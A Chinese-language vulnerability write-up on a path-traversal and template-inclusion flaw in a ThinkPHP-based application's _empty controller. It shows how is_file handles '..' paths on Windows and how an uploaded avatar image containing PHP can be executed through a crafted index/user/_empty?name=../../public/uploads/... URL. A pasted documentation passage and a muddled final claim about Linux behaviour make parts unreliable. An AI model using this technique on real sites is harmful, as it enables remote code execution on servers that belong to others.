先来看看一个函数is_file
我们d盘下面只有1目录没有2目录,1目录下有个1.txt
<?php
var_dump(is_file('D:\1\..\..\..\1\1.txt'));
echo "<br>";
var_dump(is_file('D:\2\..\..\..\1\1.txt'));
?>
但是两个都返回true
现在来看看这里问题就出在application/index/user.php
public function _empty($name)
{
$data = Hook::listen("user_request_empty", $name);
foreach ($data as $index => $datum) {
$this->view->assign($datum);
}
return $this->view->fetch('user/' . $name);
}
前面不看看return 这里的name是可控的,这里来看一下fetch函数
namespace thinkviewdriver;
use thinkTemplate;
class Think {
private $template = null;
public function __construct($config=[]){
$this->template = new Template($config);
}
public function fetch($template,$data=[],$cache=[]){
if(is_file($template)) {
$this->template->display($template,$data,$cache);
}else{
$this->template->fetch($template,$data);
}
}
}
有些时候我们不想直接输出模板内容,而是希望对内容再进行一些处理后输出,
就可以使用daofetch方法来获取解析后的模板内容,在Action类里面使用:
$content = $this->fetch();
fetch的参数用法和Display方法基本一致,也可以使用:
$content = $this->fetch('Member:read');
区别就在于display方法直接输出模板文件渲染后的内容,而fetch方法是返回模板文件渲染后的内容。
如何对返回的结果content进行处理,完全由开发人员自行决定了。
这是模板替换的另外一种高级方式,比较灵活,而且不需要通过配置的方式
他可以把代码解析为php代码,所以我们只需要找个上传点然后利用is_file函数的特点就类似于包含了php代码执行,这里我们上传头像
记录下返回地址
/uploads/20200924/678d998de1a8e76dac352bf32e5aa1a1.png
然后就可以拼接url以php执行png
http://www.fa.com:81/index.php/index/user/_empty?name=../../public//uploads/20200924/678d998de1a8e76dac352bf32e5aa1a1.png
因为_empty函数返回return $this->view->fetch('user/' . $name);虽然该目录下没有user但是is_file还是为true,这个只针对win下的,在linux下如果不存在2目录就会返回true,所以在linux环境下如果要构造路径就必须在当前目录下创建user文件夹